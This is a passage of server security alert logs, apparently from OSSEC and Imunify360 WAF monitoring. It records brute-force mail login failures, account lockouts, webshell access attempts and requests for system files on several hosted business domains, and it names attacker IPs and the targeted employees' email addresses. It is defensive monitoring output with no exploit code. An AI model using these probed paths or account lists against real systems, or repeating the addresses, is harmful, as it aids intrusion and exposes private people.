country_id: 2750405
description:
2026-01-31 11:32:10 dovecot_login authenticator failed for H=(m2Rtld0yGM) [2.58.56.77]:59630: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:32:40 dovecot_login authenticator failed for H=(zY1y6mKNaK) [178.16.54.22]:55628: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:32:14 dovecot_login authenticator failed for H=(fGFQkr) [158.94.209.22]:52938: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.5
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/etc/nsswitch.conf.bak||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.183.70
country_id: 1814991
description:
2026-01-31 11:33:59 dovecot_login authenticator failed for H=([39.165.183.70]) [39.165.183.70]:34466: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:33:08 dovecot_login authenticator failed for H=(9iJVOn) [158.94.209.22]:51088: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:33:15 dovecot_login authenticator failed for H=(d7vYLceHKN) [2.58.56.77]:50040: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:33:26 dovecot_login authenticator failed for H=(VKpphe1) [158.94.209.22]:50371: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.239.84.130
country_id: 2017370
description:
2026-01-31 11:33:39 dovecot_login authenticator failed for H=([83.239.84.130]) [83.239.84.130]:45608: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:34:00 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:33:16 dovecot_login authenticator failed for H=(pH7EUkvNhl) [178.16.54.22]:59835: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.229.87
country_id: 1269750
description:
2026-01-31 11:33:24 dovecot_login authenticator failed for H=(nsg-corporate-87.229.187.122.airtel.in) [122.187.229.87]:60312: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:34:24 dovecot_login authenticator failed for H=(guSZrWzg) [178.16.54.22]:52522: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:34:24 dovecot_login authenticator failed for H=(ujmWUHZZJ) [2.58.56.77]:57143: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-31 11:34:36 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:18717: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:34:02 dovecot_login authenticator failed for H=(pOf3Ep) [158.94.209.22]:64716: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.190
country_id: 1814991
description:
2026-01-31 11:34:22 dovecot_login authenticator failed for H=([111.61.177.190]) [111.61.177.190]:58778: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:34:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.165.183.70
country_id: 1814991
description:
2026-01-31 11:34:21 dovecot_login authenticator failed for H=([39.165.183.70]) [39.165.183.70]:37954: 535 Incorrect authentication data (set_id=info@acburn.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 13.75.54.243
country_id: 1819730
domain: kainanholding.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home2/kainanholding/public_html/assets/images||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 46.151.182.182
country_id: 2750405
description:
2026-01-31 11:35:01 30962 [Warning] Aborted connection 30962 to db: 'unconnected' user: 'unauthenticated' host: '46.151.182.182' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:35:09 dovecot_login authenticator failed for H=(CW8qbc) [2.58.56.77]:53856: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:35:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:35:14 dovecot_login authenticator failed for H=(Q6pVdBZ1u) [158.94.209.22]:53136: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 11:35:29 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:35:46 dovecot_login authenticator failed for H=(th98DpM) [178.16.54.22]:52693: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 11:36:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:36:04 dovecot_login authenticator failed for H=(jSJzkope) [178.16.54.22]:54894: 535 Incorrect authentication data (set_id=kywong.fpp@vc-b.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.171.101.26
country_id: 1562822
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/productdetails.php?id=2483 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:36:16 dovecot_login authenticator failed for H=(ZVW7gU085A) [2.58.56.77]:60655: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.48.252
country_id: 1562822
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/activity-details.php?id=894765 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:36:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:36:08 dovecot_login authenticator failed for H=(GwhQU4ufO5) [158.94.209.22]:65312: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.137.92
country_id: 1835841
domain: aircarbonic.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home2/aircarbonicadmin/public_html/assets||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:37:03 dovecot_login authenticator failed for H=(6ZGsBn) [2.58.56.77]:64130: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 11:37:01 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:37:20 dovecot_login authenticator failed for H=(tFj6Yg) [158.94.209.22]:52606: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:37:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 179.125.124.14
country_id: 3469034
description:
2026-01-31 11:37:36 dovecot_login authenticator failed for H=(vtx-b-124-014.virtex.com.br) [179.125.124.14]:33121: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.79.134
country_id: 1269750
description:
2026-01-31 11:37:51 dovecot_login authenticator failed for H=([182.78.79.134]) [182.78.79.134]:48854: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:37:02 dovecot_login authenticator failed for H=(SGVyQIN) [158.94.209.22]:64208: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:37:07 dovecot_login authenticator failed for H=(j6YAuIaV) [178.16.54.22]:51830: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:38:14 dovecot_login authenticator failed for H=(qSdKJhofRh) [178.16.54.22]:54887: 535 Incorrect authentication data (set_id=kywong.fpp@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:38:15 dovecot_login authenticator failed for H=(X9BupTtX) [2.58.56.77]:63629: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 4.193.194.148
country_id: 1880251
domain: cordage.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/images/index.php||SC:/home2/admincordage/public_html/images/index.php||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:38:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 11:38:13 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:38:14 dovecot_login authenticator failed for H=(QA3Lmk) [158.94.209.22]:53713: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.22.107.51
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=76&page=2 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.241.177.181
country_id: 3469034
description:
2026-01-31 11:39:01 dovecot_login authenticator failed for H=(ADMIN) [188.241.177.181]:30877: 535 Incorrect authentication data (set_id=jaya@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:39:08 dovecot_login authenticator failed for H=(0l0gun) [158.94.209.22]:63279: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.222
country_id: 1269750
description:
2026-01-31 11:39:52 dovecot_login authenticator failed for H=(nsg-corporate-222.230.187.122.airtel.in) [122.187.230.222]:55961: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.55.57
country_id: 1814991
description:
2026-01-31 11:39:11 dovecot_login authenticator failed for H=([119.6.55.57]) [119.6.55.57]:41168: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.119.144.86
country_id: 6252001
description:
2026-01-31 11:39:22 dovecot_login authenticator failed for H=24-119-144-86.cpe.sparklight.net [24.119.144.86]:40200: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:39:02 dovecot_login authenticator failed for H=(dSWZp01) [2.58.56.77]:53543: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:39:20 dovecot_login authenticator failed for H=(ELs787Nt) [178.16.54.22]:63914: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 11:39:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.26.63.87
country_id: 1814991
description:
2026-01-31 11:39:23 dovecot_login authenticator failed for H=([111.26.63.87]) [111.26.63.87]:40012: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:40:12 dovecot_login authenticator failed for H=(Dx0UPkU) [2.58.56.77]:63783: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.137.92
country_id: 1835841
domain: astlog.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/assets/images/index.php||SC:/home/astlogc/public_html/assets||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:40:02 dovecot_login authenticator failed for H=(ZfxGHBAp) [158.94.209.22]:61285: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:40:38 dovecot_login authenticator failed for H=(NDYEIfm6) [178.16.54.22]:56862: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:41:32 dovecot_login authenticator failed for H=(42WKdR) [158.94.209.22]:53218: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.220.3.101
country_id: 226074
description:
2026-01-31 11:41:42 dovecot_login authenticator failed for H=([41.220.3.113]) [41.220.3.101]:32838: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:41:02 dovecot_login authenticator failed for H=(DLUF9P) [2.58.56.77]:54865: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:41:14 dovecot_login authenticator failed for H=(Kfr8dG) [158.94.209.22]:62003: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.189.196.134
country_id: 1814991
description:
2026-01-31 11:41:32 dovecot_login authenticator failed for H=([220.189.196.134]) [220.189.196.134]:60424: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:41:48 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.82.135.154
country_id: 1814991
description:
2026-01-31 11:41:52 dovecot_login authenticator failed for H=([1.82.135.154]) [1.82.135.154]:35213: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:41:53 dovecot_login authenticator failed for H=(fJ7NhX) [178.16.54.22]:58900: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.194.231.72
country_id: 1814991
description:
2026-01-31 11:41:21 dovecot_login authenticator failed for H=([111.206.233.34]) [111.194.231.72]:50583: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.214.137.92
country_id: 1835841
domain: thinkcloud.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/file.php||SC:/home2/thinkcloudadmin/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:42:08 dovecot_login authenticator failed for H=(H9RsCv) [158.94.209.22]:49304: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:42:17 dovecot_login authenticator failed for H=(HKDgQc) [2.58.56.77]:51372: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:42:21 dovecot_login authenticator failed for H=(XR2sEl) [178.16.54.22]:55260: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:42:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.11
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/sysusers.d/basic.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:43:02 dovecot_login authenticator failed for H=(LJ9ZTC3Rj7) [158.94.209.22]:55089: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:43:06 dovecot_login authenticator failed for H=(PGHGRHqDW) [2.58.56.77]:50562: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 150.249.252.237
country_id: 1861060
description:
2026-01-31 11:43:33 dovecot_login authenticator failed for H=fs96f9fced.tkyc203.ap.nuro.jp [150.249.252.237]:52643: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.100.159.2
country_id: 1835841
description:
2026-01-31 11:43:02 dovecot_login authenticator failed for H=([222.100.159.2]) [222.100.159.2]:51437: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 208.69.161.214
country_id: 6252001
description:
2026-01-31 11:43:25 dovecot_login authenticator failed for H=([208.69.161.214]) [208.69.161.214]:59183: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.22
country_id: 2750405
description:
2026-01-31 11:43:38 dovecot_login authenticator failed for H=(bpqtrelvP) [178.16.54.22]:57867: 535 Incorrect authentication data (set_id=limls@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 36.42.67.114
country_id: 1814991
description:
2026-01-31 11:43:11 dovecot_login authenticator failed for H=([36.42.67.114]) [36.42.67.114]:39468: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:43:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:44:12 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 11:44:14 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:44:14 dovecot_login authenticator failed for H=(vfGu5rGwg) [158.94.209.22]:52617: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.132.164.25
country_id: 2635167
description:
2026-01-31 11:44:07 dovecot_login authenticator failed for H=(ADMIN) [23.132.164.25]:57128: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 217.113.194.9
country_id: 3017382
domain: pftfood.com
description:
IM360 WAF: Bad file extension||RSV:7.71||T:APACHE||MVN:REQUEST_FILENAME||MV:/home/000~ROOT~000/lib/sysusers.d/dbus.conf||User:root||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.6.108.13
country_id: 1814991
description:
2026-01-31 11:44:34 dovecot_login authenticator failed for H=([119.6.108.13]) [119.6.108.13]:40155: 535 Incorrect authentication data (set_id=support@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:44:16 dovecot_login authenticator failed for H=(nZwCc6) [2.58.56.77]:58595: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 69.172.79.198
country_id: 1819730
description:
2026-01-31 11:45:00 dovecot_login authenticator failed for H=69-172-79-198.static.imsbiz.com (173-248-234-145.static.imsbiz.com) [69.172.79.198]:55366: 535 Incorrect authentication data (set_id=info@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.17
country_id: 2542007
description:
2026-01-31 11:45:13 dovecot_login authenticator failed for H=([102.53.15.17]) [102.53.15.17]:46804: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 2.58.56.77
country_id: 2750405
description:
Jan 31 11:45:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account norasikin.vpb@vc-b.com.my has been locked for the attacker IP 2.58.56.77


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:45:44 dovecot_login authenticator failed for H=(HKrfbsE) [158.94.209.22]:49272: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 84.211.19.12
country_id: 3144096
description:
2026-01-31 11:45:55 dovecot_login authenticator failed for H=(cm-84.211.19.12.get.no) [84.211.19.12]:46465: 535 Incorrect authentication data (set_id=zainuddin@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 58.49.113.138
country_id: 1814991
description:
2026-01-31 11:45:04 dovecot_login authenticator failed for H=([218.106.120.18]) [58.49.113.138]:13378: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.24.141.112
country_id: 1814991
description:
2026-01-31 11:45:05 dovecot_login authenticator failed for H=([27.24.141.112]) [27.24.141.112]:39560: 535 Incorrect authentication data (set_id=kitty.yap@manforce.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.209.22
country_id: 2750405
description:
Jan 31 11:45:06 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account shamini.velayuthan@cofreth.com.my has been locked for the attacker IP 158.94.209.22


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
2026-01-31 11:45:08 dovecot_login authenticator failed for H=(6TjsGM5sG) [158.94.209.22]:51914: 535 Incorrect authentication data (set_id=shamini.velayuthan@cofreth.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.58.56.77
country_id: 2750405
description:
2026-01-31 11:45:25 dovecot_login authenticator failed for H=(gnGR24) [2.58.56.77]:63560: 535 Incorrect authentication data (set_id=norasikin.vpb@vc-b.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.124.218
country_id: 337996
description:
2026-01-31 11:45:32 dovecot_login authenticator failed for H=([196.189.124.218]) [196.189.124.218]:36832: 535 Incorrect authentication data (set_id=kitty.yap)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.92.61.242
country_id: 1814991
description:
2026-01-31 11:46:11 dovecot_login authenticator failed for H=([222.92.61.242]) [222.92.61.242]:56026: 535 Incorrect authentication data (set_id=zainuddin)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.175.210.161
country_id: 1562822
domain: www.cabe.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.cabe.com.my/product-detail.php?id=448567 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.209.22
country_id: 2750405
description:
